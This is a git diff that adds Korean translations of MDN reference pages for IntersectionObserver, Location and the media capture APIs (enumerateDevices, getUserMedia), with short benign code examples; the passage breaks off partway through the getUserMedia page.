+<p>아래는 요소의 보여지는 부분이 10% 가 넘거나 작아질 때  <code>myObserverCallback</code> 를 호출하는 새로운 intersection observer 를 생성하는 예제입니다.</p>
+
+<pre class="brush: js">let observer = new IntersectionObserver(myObserverCallback,
+                   {"threshold": 0.1});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver','#dom-intersectionobserver-intersectionobserver','IntersectionObserver constructor')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.IntersectionObserver.IntersectionObserver")}}</p>
diff --git a/files/ko/web/api/intersectionobserver/observe/index.html b/files/ko/web/api/intersectionobserver/observe/index.html
new file mode 100644
index 0000000000..5ceefe8d77
--- /dev/null
+++ b/files/ko/web/api/intersectionobserver/observe/index.html
@@ -0,0 +1,65 @@
+---
+title: IntersectionObserver.observe()
+slug: Web/API/IntersectionObserver/observe
+translation_of: Web/API/IntersectionObserver/observe
+---
+<div>{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">The {{domxref("IntersectionObserver")}} <code><strong>observe()</strong></code> 메서드는 <code>IntersectionObserver</code> 객체가 관찰할 엘리먼트 목록에 단일 엘리먼트를 추가합니다. 하나의 옵저버 객체는 단일한 threshold와 root를 가지지만 복수의 타겟 엘리먼트의 가시성 변화를 관찰할 수 있습니다.</span> 만일 엘리먼트 관찰을 중지하고 싶다면 {{domxref("IntersectionObserver.unobserve()")}} 메서드를 호출하세요.</p>
+
+<p>특정 엘리먼트의 가시성이 다른 옵저버의 가시성 threshold와 교차할 때({{domxref("IntersectionObserver.thresholds")}} 참조), 옵저버 콜백은 발생한 교차성 변경을 알리는 {{domxref("IntersectionObserverEntry")}} 객체와 함께 실행됩니다.</p>
+
+<p>노트. 이 디자인은 복수 엘리먼트의 교차성 변경이 하나의 콜백 실행을 통해 처리되는 것을 허용합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>IntersectionObserver</em>.observe(<em>targetElement</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>targetElement</code></dt>
+ <dd>가시성이 감시될 root 내부의 {{domxref("element")}}. 해당 엘리먼트는 루트 엘리먼트의 자손 노드여야 합니다(혹은 현재 root가 document의 viewport일 때는 현재 document 내부의 엘리먼트여야 합니다).</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>undefined</code>.</p>
+
+<dl>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>&lt;&lt;&lt;...&gt;&gt;&gt;</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver','#dom-intersectionobserver-observe','IntersectionObserver.observe()')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.observe")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("IntersectionObserver.unobserve()")}}</li>
+</ul>
diff --git a/files/ko/web/api/intersectionobserver/root/index.html b/files/ko/web/api/intersectionobserver/root/index.html
new file mode 100644
index 0000000000..16ae5eaad2
--- /dev/null
+++ b/files/ko/web/api/intersectionobserver/root/index.html
@@ -0,0 +1,57 @@
+---
+title: IntersectionObserver.root
+slug: Web/API/IntersectionObserver/root
+translation_of: Web/API/IntersectionObserver/root
+---
+<div>{{APIRef("Intersection Observer API")}}</div>
+
+<p><span class="seoSummary">{{domxref("IntersectionObserver")}} 인터페이스의 read-only 속성인 <strong><code>root</code></strong>는 옵저버의 타겟 엘리먼트가 속한 화면의 경계, 즉 {{Glossary("viewport")}}의 {{Glossary("bounding box")}} 처럼 취급되는 {{domxref("Element")}} 이나 {{domxref("Document")}} 를 식별합니다. </span>만일 <code>root</code>가 <code>null</code> 이라면 화면 경계는 실제 document viewport가 사용됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var><code>var <em>root</em> = </code>intersectionObserver</var>.root;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{domxref("Element")}} 이나 {{domxref("Document")}} 객체로, 해당 객체의 bounding box는 observer에 의해 관찰되는 대상 요소가 화면상에 얼마나 보여지는가를 가늠할 뷰포트의 경계로 사용됩니다.</p>
+
+<p>사각형 경계의 교차성, {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} 객체 생성시에 설정된 임의의 margin에 의한 offset, 대상 요소의 경계에서 타겟 요소와 겹쳐진 모든 요소나 다른 객체의 경계를 제외한 것이 대상 요소의 가시성 계산에 고려됩니다.</p>
+
+<p>만일 <code>root</code> 가 <code>null</code>이라면 현재 document가 root로 사용되며, 그것의 viewport의 경계(즉 document의 노출 영역)가 root 의 경계로 사용됩니다.</p>
+
+<h2 id="사용예">사용예</h2>
+
+<p>이 예제는 intersection observer의 root 요소의 {{cssxref("border")}}를 2픽셀 너비의 녹색 라인으로 설정합니다.</p>
+
+<pre class="brush: js">observer.root.style.border = "2px solid #44aa44";
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver', '#dom-intersectionobserver-root', 'IntersectionObserver')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.root")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></li>
+</ul>
diff --git a/files/ko/web/api/location/index.html b/files/ko/web/api/location/index.html
new file mode 100644
index 0000000000..42587a8572
--- /dev/null
+++ b/files/ko/web/api/location/index.html
@@ -0,0 +1,112 @@
+---
+title: Location
+slug: Web/API/Location
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Location
+  - Reference
+translation_of: Web/API/Location
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>Location</code></strong> 인터페이스는 객체가 연결된 장소(URL)를 표현합니다.</span> <code>Location</code> 인터페이스에 변경을 가하면 연결된 객체에도 반영되는데, {{domxref("Document")}}와 {{domxref("Window")}} 인터페이스가 이런 <code>Location</code>을 가지고 있습니다. 각각 {{domxref("Document.location")}}과 {{domxref("Window.location")}}으로 접근할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>Location</code> 인터페이스는 아무 속성도 상속하지 않지만, {{domxref("URLUtils")}}의 속성을 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Location.href")}}</dt>
+ <dd>온전한 URL을 값으로 하는 {{domxref("DOMString")}}입니다. 바뀔 경우 연결된 문서도 새로운 페이지로 이동합니다. 연결된 문서와 다른 오리진에서도 설정할 수 있습니다.</dd>
+ <dt>{{domxref("Location.protocol")}}</dt>
+ <dd>URL의 프로토콜 부분을 값으로 하는 {{domxref("DOMString")}}으로, 마지막의 <code>':'</code>도 포함합니다.</dd>
+ <dt>{{domxref("Location.host")}}</dt>
+ <dd>URL의 호스트 부분을 값으로 하는 {{domxref("DOMString")}}으로, 호스트명, <code>':'</code>, 포트 번호를 포함합니다.</dd>
+ <dt>{{domxref("Location.hostname")}}</dt>
+ <dd>URL의 도메인 부분을 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.port")}}</dt>
+ <dd>URL의 포트 번호를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.pathname")}}</dt>
+ <dd><code>'/'</code> 문자 뒤 URL의 경로를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.search")}}</dt>
+ <dd><code>'?'</code> 문자 뒤 URL의 쿼리스트링을 값으로 하는 {{domxref("DOMString")}}입니다. 모던 브라우저에서는 {{domxref("URLSearchParams.get()")}}과 {{domxref("URL.searchParams")}}를 사용해서 인자를 쉽게 추출할 수 있습니다.</dd>
+ <dt>{{domxref("Location.hash")}}</dt>
+ <dd><code>'#'</code> 문자 뒤 URL의 프래그먼트 식별자를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.username")}}</dt>
+ <dd>도메인 이름 이전에 명시된 사용자명을 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.password")}}</dt>
+ <dd>도메인 이름 이전에 명시된 비밀번호를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.origin")}} {{readOnlyInline}}</dt>
+ <dd>지정한 장소 오리진의 표준 형태를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>Location</code> 인터페이스는 아무 메서드도 상속하지 않지만, {{domxref("URLUtils")}}의 메서드를 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Location.assign()")}}</dt>
+ <dd>주어진 URL의 리소스를 불러옵니다.</dd>
+ <dt>{{domxref("Location.reload()")}}</dt>
+ <dd>현재 URL의 리소스를 다시 불러옵니다. 선택적으로 매개변수에 <code>true</code>를 제공해 브라우저 캐시를 무시하고 서버에서 새로 불러올 수 있습니다,</dd>
+ <dt>{{domxref("Location.replace()")}}</dt>
+ <dd>Replaces the current resource with the one at the provided URL. The difference from the <code>assign()</code> method is that after using <code>replace()</code> the current page will not be saved in session {{domxref("History")}}, meaning the user won't be able to use the <em>back</em> button to navigate to it.</dd>
+ <dt>{{domxref("Location.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Create anchor element and use href property for the purpose of this example
+// A more correct alternative is to browse to the URL and use document.location or window.location
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container';
+console.log(url.href);      // https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol);  // https:
+console.log(url.host);      // developer.mozilla.org:8080
+console.log(url.hostname);  // developer.mozilla.org
+console.log(url.port);      // 8080
+console.log(url.pathname);  // /en-US/search
+console.log(url.search);    // ?q=URL
+console.log(url.hash);      // #search-results-close-container
+console.log(url.origin);    // https://developer.mozilla.org:8080
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Location")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Two methods creating such an object: {{domxref("Window.location")}} and {{domxref("Document.location")}}.</li>
+ <li>URL related interfaces: {{domxref("URL")}}, {{domxref("URLSearchParams")}} and {{domxref("HTMLHyperlinkElementUtils")}}</li>
+</ul>
diff --git a/files/ko/web/api/location/reload/index.html b/files/ko/web/api/location/reload/index.html
new file mode 100644
index 0000000000..4cd050e024
--- /dev/null
+++ b/files/ko/web/api/location/reload/index.html
@@ -0,0 +1,56 @@
+---
+title: Location.reload()
+slug: Web/API/Location/reload
+tags:
+  - API
+  - HTML DOM
+  - Location
+  - Method
+  - Reference
+translation_of: Web/API/Location/reload
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary"><code><strong>Location.reload()</strong></code> 메서드는 새로고침 버튼처럼 현재 리소스를 다시 불러옵니다.</span></p>
+
+<p>새로고침은 <code>SECURITY_ERROR</code> {{domxref("DOMException")}}과 함께 거부당할 수 있습니다. 이는 <code>location.reload()</code>를 호출한 스크립트의 {{glossary("origin", "출처")}}와 {{domxref("Location")}} 객체를 소유한 문서의 출처가 다를 때 발생합니다. 더 자세한 정보는 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a> 문서를 참고하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>location</em>.reload();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Location.reload")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{domxref("Location")}} 인터페이스.</li>
+ <li>비슷한 메서드: {{domxref("Location.assign()")}}, {{domxref("Location.replace()")}}.</li>
+</ul>
diff --git a/files/ko/web/api/media_streams_api/index.html b/files/ko/web/api/media_streams_api/index.html
new file mode 100644
index 0000000000..8e4c60730e
--- /dev/null
+++ b/files/ko/web/api/media_streams_api/index.html
@@ -0,0 +1,92 @@
+---
+title: Media Capture and Streams API (미디어 스트림)
+slug: Web/API/Media_Streams_API
+tags:
+  - API
+  - Media
+  - Media Capture and Streams
+  - Media Capture and Streams API
+  - Media Streams API
+  - Overview
+translation_of: Web/API/Media_Streams_API
+---
+<div>{{DefaultAPISidebar("Media Capture and Streams")}}</div>
+
+<p><strong>Media Streams API</strong>, 짧게는 <strong>MediaStream API</strong>라고 불리는 <strong>Media Capture and Streams API</strong>는 오디오와 비디오 데이터 스트리밍을 지원하는 <a href="/ko/docs/Web/API/WebRTC_API" title="/en-US/docs/WebRTC">WebRTC</a> 관련 API 입니다. 이 API는 미디어 스트림과 스트림을 구성하는 트랙, 데이터 형식과 관련된 제한인자, 데이터를 비동기적으로 사용할 때의 성공과 오류 콜백, 그리고 이 과정에서 발생하는 이벤트에 대한 인터페이스 및 메서드를 제공합니다.</p>
+
+<h2 id="개념_및_사용법">개념 및 사용법</h2>
+
+<p>이 API는 오디오 혹은 비디오와 관련된 데이터를 나타내는 {{domxref("MediaStream")}} 객체 조작에 기반합니다.</p>
+
+<p><code>MediaStream</code>은 0개 이상의 {{domxref("MediaStreamTrack")}} 객체로 구성되며, 각자 다양한 오디오와 비디오 <strong>트랙</strong>을 나타냅니다. 각각의 <code>MediaStreamTrack</code>은 하나 이상의 <strong>채널</strong>을 가질 수 있습니다. 채널은, 오디오로 예를 들면 스테레오 오디오 트랙에서의 "왼쪽"과 "오른쪽"처럼, 미디어 스트림의 제일 작은 단위를 나타냅니다.</p>
+
+<p><code>MediaStream</code> 객체는 하나의 <strong>입력</strong>과 하나의 <strong>출력</strong>을 가집니다. {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}로 생성한 <code>MediaStream</code> 객체는 "로컬" 미디어 스트림이라고 부르며, 사용자의 카메라와 마이크 중 하나를 입력 출처로 사용합니다. 반면 {{htmlelement("video")}}, {{htmlelement("audio")}}와 같은 미디어 요소, 네트워크에서 들어오는 스트림, WebRTC {{domxref("RTCPeerConnection")}} API로 획득한 스트림, <a href="/ko/docs/Web/API/Web_Audio_API">Web Audio API</a> {{domxref("MediaStreamAudioSourceNode")}}로 생성한 스트림 등은 비 로컬 <code>MediaStream</code>이라고 합니다.</p>
+
+<p><code>MediaStream</code> 객체의 출력은 <strong>소비자</strong>(컨슈머)로 연결됩니다. 소비자는 {{htmlelement("video")}}, {{htmlelement("audio")}}와 같은 미디어 요소, WebRTC {{domxref("RTCPeerConnection")}} API, <a href="/ko/docs/Web/API/Web_Audio_API">Web Audio API</a> {{domxref("MediaStreamAudioSourceNode")}}가 가능합니다.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p>아래의 참고 문서에서는 Media Capture and Streams API를 구성하는 인터페이스에 대한 기초적인 지식을 찾을 수 있습니다.</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("BlobEvent")}}</li>
+ <li>{{domxref("CanvasCaptureMediaStreamTrack")}}</li>
+ <li>{{domxref("InputDeviceInfo")}}</li>
+ <li>{{domxref("MediaDeviceKind")}}</li>
+ <li>{{domxref("MediaDeviceInfo")}}</li>
+ <li>{{domxref("MediaDevices")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("MediaStreamConstraints")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MediaStreamTrackEvent")}}</li>
+ <li>{{domxref("MediaTrackCapabilities")}}</li>
+ <li>{{domxref("MediaTrackConstraints")}}</li>
+ <li>{{domxref("MediaTrackSettings")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+ <li>{{domxref("NavigatorUserMedia")}}</li>
+ <li>{{domxref("NavigatorUserMediaError")}}</li>
+ <li>{{domxref("OverconstrainedError")}}</li>
+ <li>{{domxref("URL")}}</li>
+</ul>
+</div>
+
+<p>Media Capture and Streams API의 초기 명세는 {{domxref("MediaStreamTrack")}}에 기반한 별도의 <code>AudioStreamTrack</code>과 <code>VideoStreamTrack</code> 인터페이스를 포함했으며, 각자 오디오와 비디오 스트림을 따로 나타냈었습니다. 그러나 이런 구분은 더 이상 존재하지 않으며, 두 인터페이스를 사용하는 코드는 <code>MediaStreamTrack</code>을 직접 사용하도록 업데이트해야 합니다.</p>
+
+<h2 id="이벤트">이벤트</h2>
+
+<div class="index">
+<ul>
+ <li>{{event("addtrack")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("muted")}}</li>
+ <li>{{event("overconstrained")}}</li>
+ <li>{{event("removetrack")}}</li>
+ <li>{{event("started")}}</li>
+ <li>{{event("unmuted")}}</li>
+</ul>
+</div>
+
+<div class="hidden">
+<h2 id="안내서와_자습서">안내서와 자습서</h2>
+
+<p>하위 문서 하나라도 완료 후 hidden 해제</p>
+
+<p>아래의 문서에서 API는 이 API를 잘 사용 할 수 있도록 도와주고,원하는 업무를 어떻게 처리하는지에 대한 추가적인 가이드 및 정보를 제공합니다.</p>
+
+<p>{{LandingPageListSubpages}}</p>
+</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStream")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebRTC_API" title="/en-US/docs/WebRTC">WebRTC</a></li>
+ <li>{{domxref("mediaDevices.getUserMedia()")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediadevices/enumeratedevices/index.html b/files/ko/web/api/mediadevices/enumeratedevices/index.html
new file mode 100644
index 0000000000..e49f88a6ba
--- /dev/null
+++ b/files/ko/web/api/mediadevices/enumeratedevices/index.html
@@ -0,0 +1,88 @@
+---
+title: MediaDevices.enumerateDevices()
+slug: Web/API/MediaDevices/enumerateDevices
+translation_of: Web/API/MediaDevices/enumerateDevices
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaDevices")}}의  <strong><code>enumerateDevices()</code></strong> 메서드는 사용(또는 접근)이 가능한 미디어 입력장치나 출력장치들의 리스트를 가져옵니다. 예를 들면 마이크, 카메라, 헤드셋 등의 미디어 입/출력 장치 리스트를 불러오는 것 이죠.</span> 이 메서드는 {{domxref("Promise")}}를 반환하는데, 이 Promise가 resolve되면 장치(device)정보가 들어있는 {{domxref("MediaDeviceInfo")}} 배열(array)을 확인할 수 있습니다.</p>
+
+<h2 id="Syntax_(구문)">Syntax (구문)</h2>
+
+<pre class="syntaxbox">var <em>enumeratorPromise</em> = navigator.mediaDevices.enumerateDevices();
+</pre>
+
+<h3 id="Return_value_(_반환값_)">Return value ( 반환값 )</h3>
+
+<p>반환받는 {{ domxref("Promise") }}는 모든 장치 리스트를 가져오는 것에 성공하면 {{domxref("MediaDeviceInfo")}}객체 배열(array)를 받습니다. 배열에 들어있는 객체들은 각각의 장치정보를 가지고 있습니다.</p>
+
+<p>장치 리스트를 가져오는 것이 실패하면, promise는 rejected처리 됩니다.</p>
+
+<h2 id="Example_(예제)"><strong>Example (예제)</strong></h2>
+
+<p><code>enumerateDevices()</code>을 사용하는 방법을 알아봅시다. 아래는 장치 종류와  <a href="/en-US/docs/Web/API/MediaDeviceInfo/deviceId">device IDs (장치 아이디)</a>를 반환하며, 레이블이 있을 경우 레이블도 보여주는 간단한 코드 입니다.</p>
+
+<pre class="brush: js">if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
+  console.log("enumerateDevices()를 지원하지 않습니다.");
+  return;
+}
+
+// 카메라와 마이크 리스트
+
+navigator.mediaDevices.enumerateDevices()
+.then(function(devices) {
+  devices.forEach(function(device) {
+    console.log(device.kind + ": " + device.label +
+                " id = " + device.deviceId);
+  });
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<p>위 코드를 실행하면 아래와 같은 결과를 볼 수 있을 것입니다.:</p>
+
+<pre>videoinput: id = csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: id = RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: id = r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+</pre>
+
+<p>또는 하나 이상의 {{domxref("MediaStream")}}이 사용 가능하거나 접근(사용권한)이 가능할  경우:</p>
+
+<pre>videoinput: FaceTime HD Camera (Built-in) id=csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: default (Built-in Microphone) id=RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: Built-in Microphone id=r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediadevices-enumeratedevices', 'mediaDevices: enumerateDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_(브라우저_호환)">Browser compatibility (브라우저 호환)</h2>
+
+
+
+<p>{{Compat("api.MediaDevices.enumerateDevices")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("navigator.mediaDevices.getUserMedia()")}}</li>
+ <li><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a> - the introductory page to the API</li>
+ <li><a href="/en-US/docs/WebRTC/MediaStream_API" title="WebRTC/MediaStream_API">MediaStream API</a> - the API for the media stream objects</li>
+ <li><a href="/en-US/docs/WebRTC/taking_webcam_photos" title="WebRTC/taking_webcam_photos">Taking webcam photos</a> - a tutorial on using <code>getUserMedia()</code> for taking photos rather than video.</li>
+</ul>
diff --git a/files/ko/web/api/mediadevices/getusermedia/index.html b/files/ko/web/api/mediadevices/getusermedia/index.html
new file mode 100644
index 0000000000..d3722b3dd1
--- /dev/null
+++ b/files/ko/web/api/mediadevices/getusermedia/index.html
@@ -0,0 +1,296 @@
+---
+title: MediaDevices.getUserMedia()
+slug: Web/API/MediaDevices/getUserMedia
+tags:
+  - API
+  - Media
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaDevices
+  - Method
+  - Reference
+  - WebRTC
+translation_of: Web/API/MediaDevices/getUserMedia
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaDevices")}} 인터페이스의 <code><strong>getUserMedia()</strong></code> 메서드는 사용자에게 미디어 입력 장치 사용 권한을 요청하며, 사용자가 수락하면 요청한 미디어 종류의 트랙을 포함한 {{domxref("MediaStream")}}을 반환합니다.</span> 스트림은 카메라, 비디오 녹화 장치, 스크린 공유 장치 등 하드웨어와 가장 비디오 소스가 생성하는 비디오 트랙과, 마이크, A/D 변환기 등 물리적과 가상 오디오 장치가 생성하는 오디오 스트림, 그리고 그 외의 다른 종류의 스트림을 포함할 수 있습니다.</p>
+
+<p>반환하는 값은 {{domxref("MediaStream")}} 객체로 이행하는 {{jsxref("Promise")}}입니다. 사용자가 권한 요청을 거부했거나 일치하는 유형의 미디어를 사용할 수 없는 경우, 프로미스는 각각 <code>NonAllowedError</code>와 <code>NotFoundError</code>로 거부합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 사용자가 권한 요청에 대한 선택을 하지 않고 완전히 무시할 수도 있기 때문에, 프로미스 또한 이행도 거부도 하지 않을 수 있습니다.</p>
+</div>
+
+<p>보통, {{domxref("MediaDevices")}} 싱글톤 객체는 다음과 같이 {{domxref("navigator.mediaDevices")}}를 사용해 접근합니다.</p>
+
+<pre class="brush: js">async function getMedia(constraints) {
+  let stream = null;
+
+  try {
+    stream = await navigator.mediaDevices.getUserMedia(constraints);
+    /* 스트림 사용 */
+  } catch(err) {
+    /* 오류 처리 */
+  }
+}</pre>
+
+<p>프로미스를 직접 사용할 경우 다음과 같습니다.</p>
+
+<pre class="brush: js">navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  /* 스트림 사용 */
+})
+.catch(function(err) {
+  /* 오류 처리 */
+});</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 현재 문서를 안전하게 불러온 경우가 아니라면 <code>navigator.mediaDevices</code>는 <code>undefined</code>이므로 <code>getUserMedia()</code>도 사용할 수 없습니다. {{anch("개인정보와 보안")}} 항목에서 <code>getUserMedia()</code>와 관련된 보안 문제를 자세히 살펴보세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>promise</em> = navigator.mediaDevices.getUserMedia(<em>constraints</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>constraints</code></dt>
+ <dd>
+ <p>요청할 미디어 유형과 각각에 대한 요구사항을 지정하는 {{domxref("MediaStreamConstraints")}} 객체.</p>
+
+ <p><code>constraints</code> 매개변수는 두 개의 구성 요소, <code>video</code>와 <code>audio</code>를 가지는 객체로, 요청할 미디어 유형에 대해 설명합니다. 둘 중 적어도 하나는 지정해야 합니다. 브라우저가 주어진 유형과 제약을 만족하는 미디어 트랙을 하나도 찾을 수 없는 경우 프로미스는 <code>NotFoundError</code>와 함께 거부합니다.</p>
+
+ <p>다음은 특별한 요구사항 없이 오디오와 비디오 둘 다 요청하는 매개변수입니다.</p>
+
+ <pre class="brush: js">{ audio: true, video: true }</pre>
+
+ <p>미디어 타입에 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font> 가 지정된 경우 각 타입에 맞는 장치가 사용 준비된 상태이어야 하며, 만약 사용 준비가 안 된 상태에서 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">getUserMedia()</span></font> 를 호출하면 오류를 반환합니다.</p>
+
+ <p>constraints 매개변수에 세부사항을 지정하여 카메라와 마이크에 세부적인 요청을 할 수 있습니다. 아래의 코드는 비디오의 해상도를 1280x720로 지정하는 예제입니다.</p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: { width: 1280, height: 720 }
+}</pre>
+
+ <p id="successCallback">브라우저는 지정한 해상도의 비디오 트랙을 가져오기 위해 시도하지만, 어떤 이유로든 지정한 해상도의 트랙을 가져올 수 없다면 다른 해상도의 비디오 트랙을 반환합니다.</p>
+
